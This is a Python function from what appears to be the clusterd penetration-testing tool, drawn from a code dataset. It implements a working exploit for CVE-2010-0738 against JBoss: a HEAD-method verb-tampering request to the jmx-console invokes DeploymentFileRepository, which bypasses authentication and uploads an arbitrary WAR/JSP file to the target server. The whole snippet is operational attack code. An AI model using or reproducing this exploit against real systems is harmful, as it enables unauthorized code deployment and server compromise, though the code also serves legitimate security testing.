def run(self, fingerengine, fingerprint):

        utility.Msg("Deploying %s via verb tampering" % fingerengine.options.ip,
                                                       LOG.DEBUG)

        url = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)

        response = utility.requests_head(url)
        if response.status_code == 200:
            utility.Msg("Vulnerable to verb tampering, attempting to deploy...", LOG.SUCCESS)

            war_file = abspath(fingerengine.options.verb_tamper)
            war_name = parse_war_path(war_file)
            tamper = "/jmx-console/HtmlAdaptor?action=invokeOp"\
                     "&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5"\
                     "&arg0={0}.war&arg1={0}&arg2=.jsp&arg3={1}&arg4=True".format(
                              war_name, quote_plus(open(war_file).read()))              

            response = utility.requests_head(url + tamper)
            if response.status_code == 200:
                utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS)
            else:
                utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
This module exploits CVE-2010-0738, which bypasses authentication
dataset/ETHPy150Open hatRiot/clusterd/src/platform/jboss/auxiliary/verb_tamper.py/Auxiliary.run